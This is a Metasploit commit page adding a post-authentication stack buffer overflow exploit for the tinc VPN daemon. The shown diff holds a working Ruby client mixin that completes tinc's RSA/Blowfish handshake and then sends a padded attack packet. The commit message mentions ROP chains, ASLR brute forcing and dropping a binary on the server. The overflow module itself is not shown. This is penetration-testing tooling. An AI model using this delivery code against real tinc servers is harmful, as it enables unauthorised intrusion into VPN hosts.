Skip to content

Commit 9d848c8

Browse files
committed
Adding tincd post-auth stack buffer overflow exploit module for several OS
Minor changes to comments Updated URLs Added Fedora ROP, cleaned up Fixing URLs again, typos Added support for Archlinux (new target) Added support for OpenSuse (new target) Tincd is now a separate file, uses the TCP mixin/REX sockets. Started ARM exploiting Style changes, improvements according to egyp7's comments Style changes according to sane rubocop messages RSA key length other than 256 supported. Different key lengths for client/server supported. Drop location for binary can be customized Refactoring: Replaced pop_inbuffer with slice Refactoring: fail_with is called, renamed method to send_recv to match other protocol classes, using rand_text_alpha instead of hardcoded \x90, Fixed fail command usage Version exploiting ARM with ASLR brute force Cleaned up version with nicer program flow More elegant solution for data too large for modulus Minor changes in comments only (comment about firewalld) Correct usage of the TCP mixin Fixes module option so that the path to drop the binary on the server is not validated against the local filesystem Added comments Minor edits Space removal at EOL according to msftidy
1 parent 8b5a33c commit 9d848c8

File tree

3 files changed

+871
-0
lines changed

3 files changed

+871
-0
lines changed

lib/msf/core/exploit/mixins.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -59,6 +59,7 @@
5959
require 'msf/core/exploit/afp'
6060
require 'msf/core/exploit/realport'
6161
require 'msf/core/exploit/sip'
62+
require 'msf/core/exploit/tincd'
6263

6364
# Telephony
6465
require 'msf/core/exploit/dialup'

lib/msf/core/exploit/tincd.rb

Lines changed: 343 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,343 @@
1+
require 'msf/core'
2+
require 'msf/core/exploit/tcp'
3+
4+
require 'securerandom'
5+
require 'openssl'
6+
require 'digest/sha1'
7+
8+
module Msf
9+
# This module does a handshake with a tincd server and sends one padded packet
10+
# Author: Tobias Ospelt <tobias at modzero dot ch> @floyd_ch
11+
module Exploit::Remote::TincdExploitClient
12+
include Msf::Exploit::Remote::Tcp
13+
14+
BF_BLOCKSIZE = 64 / 8
15+
BF_KEY_LEN = 16
16+
BF_IV_LEN = 8
17+
18+
#
19+
# Module options
20+
#
21+
def initialize(info = {})
22+
super
23+
register_options(
24+
[Opt::RPORT(655),
25+
# As this is only for post-auth exploits, you should know the value of the
26+
# following variables by simply checking
27+
# your configuration.
28+
OptPath.new('SERVER_PUBLIC_KEY_FILE', [true, 'Server\'s public key', '']),
29+
OptPath.new('CLIENT_PRIVATE_KEY_FILE', [true, 'Client private key', '']),
30+
# You should see CLIENT_NAME in cleartext in the first message to the
31+
# server by your usual tinc client (tcpdump or
32+
# wireshark it: e.g. "0 home 17.0", so it's "home"). On the server,
33+
# this is located in the config folder, e.g. in FreeBSD
34+
# there is the client public key file /usr/local/etc/tinc/hosts/home
35+
# for the client "home"
36+
# If you don't have a clue, maybe just try the filename of your private
37+
# key without file extension
38+
OptString.new('CLIENT_NAME', [true, 'Your client name (pre-shared with server)' , ''])
39+
], self
40+
)
41+
end
42+
43+
#
44+
# Setting up variables and calling cipher inits with file paths from configuration
45+
#
46+
def setup_ciphers
47+
@state = :idState
48+
@buffer = ''
49+
@inbuffer = ''
50+
@encryption_queue = []
51+
52+
@packet_payload = nil
53+
@keep_reading_socket = false
54+
55+
@server_key_len = nil
56+
@client_key_len = nil
57+
@client_private_key_cipher = nil
58+
@hex_enc_key_s1 = nil
59+
@bf_enc_cipher = nil
60+
init_ciphers(datastore['SERVER_PUBLIC_KEY_FILE'], datastore['CLIENT_PRIVATE_KEY_FILE'])
61+
vprint_status('Ciphers locally initalized, private key and public key files seem to be ok')
62+
@bf_dec_cipher = nil
63+
end
64+
65+
#
66+
# The main method that will be called that will call other methods to send first message
67+
# and continously read from socket and ensures TCP disconnect at the end
68+
#
69+
def send_recv(packet_payload)
70+
@packet_payload = packet_payload
71+
@keep_reading_socket = true
72+
connect
73+
begin
74+
# send the first message
75+
id
76+
# Condition to get out of the while loop: ackState to false. Unsafe? Maybe a timeout?
77+
while @keep_reading_socket
78+
process_data(sock.get_once)
79+
end
80+
rescue Errno::ECONNRESET
81+
if @state == :metakeyState
82+
fail 'Server reset the connection. Probably rejecting '\
83+
'the private key and/or client name (e.g. client name not associated '\
84+
'with client public key on server side). '\
85+
'Wrong server public key possible too. '\
86+
'Please recheck client name, client private key and '\
87+
'server public key.'
88+
else
89+
fail 'Server reset the connection, reason unknown.'
90+
end
91+
ensure
92+
disconnect
93+
end
94+
end
95+
96+
#
97+
# Reading of certificate files and parsing them, generation of random keys
98+
# and intialization of OFB mode blowfish cipher
99+
#
100+
def init_ciphers(server_file, client_file)
101+
server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
102+
@server_key_len = server_public_key_cipher.n.num_bytes
103+
@client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file))
104+
@client_key_len = @client_private_key_cipher.n.num_bytes
105+
vprint_status("Our private key length is #{@client_key_len}, expecting same length for metakey and challenge")
106+
vprint_status("Server's public key length is #{@server_key_len}, sending same metakey and challenge length")
107+
108+
# we don't want this to happen here:
109+
# `public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError)
110+
# simple solution: choose the key_s1 with a leading zero byte
111+
key_s1 = "\x00"+SecureRandom.random_bytes(@server_key_len-1)
112+
enc_key_s1 = server_public_key_cipher.public_encrypt(key_s1, OpenSSL::PKey::RSA::NO_PADDING)
113+
114+
@hex_enc_key_s1 = enc_key_s1.unpack('H*')[0]
115+
116+
offset_key = @server_key_len - BF_KEY_LEN
117+
offset_iv = @server_key_len - BF_KEY_LEN - BF_IV_LEN
118+
bf_enc_key = key_s1[offset_key...@server_key_len]
119+
bf_enc_iv = key_s1[offset_iv...offset_key]
120+
121+
@bf_enc_cipher = OpenSSL::Cipher::Cipher.new('BF-OFB')
122+
@bf_enc_cipher.encrypt
123+
@bf_enc_cipher.key = bf_enc_key
124+
@bf_enc_cipher.iv = bf_enc_iv
125+
126+
# #Looks like ruby openssl supports other lengths than multiple of 8!
127+
# test = @bf_enc_cipher.update('A'*10)
128+
# test << @bf_enc_cipher.final
129+
# puts "Testing cipher: "+test.unpack('H*')[0]
130+
end
131+
132+
#
133+
# Depending on the state of the protocol handshake and the data we get back
134+
# from the server, this method will decide which message has to be sent next
135+
#
136+
def process_data(data)
137+
unless data.nil?
138+
@inbuffer += data
139+
end
140+
case @state
141+
when :idState
142+
if line?
143+
data = read_line
144+
vprint_status("Received ID from server: [#{data[0..30]}]")
145+
@state = :metakeyState
146+
# next expected state
147+
metakey
148+
end
149+
when :metakeyState
150+
if line?
151+
data = read_line
152+
vprint_status("Received Metakey from server: [#{data[0..30]}...]")
153+
data = data.split(' ')
154+
fail 'Error in protocol. The first byte should be an ASCII 1.' unless data[0] == '1'
155+
hexkey_s2 = data[5].rstrip # ("\n")
156+
fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2
157+
@enckey_s2 = [hexkey_s2].pack('H*')
158+
key_s2 = @client_private_key_cipher.private_decrypt(@enckey_s2, OpenSSL::PKey::RSA::NO_PADDING)
159+
160+
# metakey setup according to protocol_auth.c
161+
# if(!EVP_DecryptInit(c->inctx, c->incipher,
162+
# (unsigned char *)c->inkey + len - c->incipher->key_len, # <--- KEY pointer
163+
# (unsigned char *)c->inkey + len - c->incipher->key_len - c->incipher->iv_len # <--- IV pointer
164+
# ))
165+
offset_key = @client_key_len - BF_KEY_LEN
166+
offset_iv = @client_key_len - BF_KEY_LEN - BF_IV_LEN
167+
bf_dec_key = key_s2[offset_key...@client_key_len]
168+
bf_dec_iv = key_s2[offset_iv...offset_key]
169+
170+
@bf_dec_cipher = OpenSSL::Cipher::Cipher.new 'BF-OFB'
171+
@bf_dec_cipher.encrypt
172+
@bf_dec_cipher.key = bf_dec_key
173+
@bf_dec_cipher.iv = bf_dec_iv
174+
# don't forget, it *does* matter if you do a
175+
# @bf_dec_cipher.reset or not, we're in OFB mode. DON'T.
176+
vprint_status('Metakey handshake/exchange completed')
177+
@state = :challengeState
178+
challenge
179+
end
180+
when :challengeState
181+
need_len = 2 * @client_key_len + 3
182+
if @inbuffer.length >= need_len
183+
data = pop_inbuffer_and_decrypt(need_len)
184+
vprint_status("Received challenge from server: "\
185+
"[#{data.unpack('H*')[0][0..30]}...]")
186+
data = data.split(' ', 2)
187+
fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data[0] == '2'
188+
challenge2 = data[1][0...2 * @client_key_len]
189+
challenge2 = [challenge2].pack('H*')
190+
fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len
191+
@state = :challengeReplyState
192+
challenge_reply(challenge2)
193+
end
194+
when :challengeReplyState
195+
need_len = 43
196+
if @inbuffer.length >= need_len
197+
data = pop_inbuffer_and_decrypt(need_len)
198+
vprint_status("Received challenge reply from server:"\
199+
" [#{data.unpack('H*')[0][0..30]}...]")
200+
@state = :ackState
201+
ack
202+
end
203+
when :ackState
204+
need_len = 12
205+
if @inbuffer.length >= need_len
206+
data = pop_inbuffer_and_decrypt(need_len)
207+
vprint_status("Received ack (server accepted challenge response):"\
208+
"[#{data.unpack('H*')[0][0..30]}...]")
209+
@state = :doneState
210+
send_packet
211+
end
212+
end
213+
end
214+
215+
#
216+
# Encryption queue where waiting data gets encrypted and afterwards
217+
# the remaining messages get sent
218+
#
219+
def handle_write
220+
# handle encryption queue first
221+
if @encryption_queue.length > 0
222+
msg = @encryption_queue[0]
223+
@encryption_queue.delete_at(0)
224+
@buffer = @bf_enc_cipher.update(msg)
225+
@buffer << @bf_enc_cipher.final
226+
# DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
227+
# the resulting block is used to encrypt the next block.
228+
end
229+
230+
if @buffer.length > 0
231+
sent = send_data(@buffer)
232+
vprint_status("Sent #{sent} bytes: "\
233+
"[#{@buffer.unpack('H*')[0][0..30]}...]")
234+
@buffer = @buffer[sent..@buffer.length]
235+
end
236+
end
237+
238+
#
239+
# Simple socket put/write
240+
#
241+
def send_data(buf)
242+
sock.put(buf)
243+
end
244+
245+
#
246+
# Decryption method to process data sent by server
247+
#
248+
def pop_inbuffer_and_decrypt(size)
249+
# In ruby openssl OFM works not only on full blocks, but also on
250+
# parts. Therefore no worries like in pycrypto and no
251+
# modified decrypt routine, simply use the cipher as is.
252+
data = @bf_dec_cipher.update(@inbuffer.slice!(0, size))
253+
data << @bf_dec_cipher.final
254+
# DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
255+
# the resulting block is used to decrypt the next block.
256+
end
257+
258+
#
259+
# Read up to the next newline from the data the server sent
260+
#
261+
def read_line
262+
idx = @inbuffer.index("\n")
263+
data = @inbuffer.slice!(0, idx)
264+
@inbuffer.lstrip!
265+
return data
266+
end
267+
268+
#
269+
# Check if we already received a newline, meaning we got an
270+
# entire message for the next protocol step
271+
#
272+
def line?
273+
!@inbuffer.match("\n").nil?
274+
end
275+
276+
#
277+
# Start message method after TCP handshake
278+
#
279+
def id
280+
msg = "0 #{datastore['CLIENT_NAME']} 17.0\n"
281+
vprint_status("Sending ID (cleartext): [#{msg.gsub("\n", '')}]")
282+
@buffer += msg
283+
handle_write
284+
end
285+
286+
#
287+
# Sending metakey (transferring a symmetric key that will get encrypted with
288+
# public key before beeing sent to the server)
289+
#
290+
def metakey
291+
msg = "1 94 64 0 0 #{@hex_enc_key_s1}\n"
292+
vprint_status("Sending metakey (cleartext): [#{msg[0..30]}...]")
293+
@buffer += msg
294+
handle_write
295+
end
296+
297+
#
298+
# Send challenge random bytes
299+
#
300+
def challenge
301+
vprint_status('Sending challenge (ciphertext)')
302+
challenge = SecureRandom.random_bytes(@server_key_len)
303+
msg = "2 #{challenge.unpack('H*')[0]}\n"
304+
@encryption_queue.push(msg)
305+
handle_write
306+
end
307+
308+
#
309+
# Reply to challenge that was sent by server
310+
#
311+
def challenge_reply(challenge2)
312+
vprint_status('Sending challenge reply (ciphertext)')
313+
h = Digest::SHA1.hexdigest(challenge2)
314+
msg = "3 #{h.upcase}\n"
315+
@encryption_queue.push(msg)
316+
handle_write
317+
end
318+
319+
#
320+
# Ack state to signalise challenge/response was successfull
321+
#
322+
def ack
323+
vprint_status('Sending ack (signalise server that we accept challenge'\
324+
'reply, ciphertext)')
325+
@encryption_queue.push("4 #{datastore['RPORT']} 123 0 \n")
326+
handle_write
327+
end
328+
329+
#
330+
# Sending a packet inside the VPN connection after successfull protocol setup
331+
#
332+
def send_packet
333+
vprint_status('Protocol finished setup. Going to send packet.')
334+
msg = "17 #{@packet_payload.length}\n#{@packet_payload}"
335+
plen = BF_BLOCKSIZE - (msg.length % BF_BLOCKSIZE)
336+
# padding
337+
msg += 'B' * plen
338+
@encryption_queue.push(msg)
339+
@keep_reading_socket = false
340+
handle_write
341+
end
342+
end
343+
end

0 commit comments

Comments
 (0)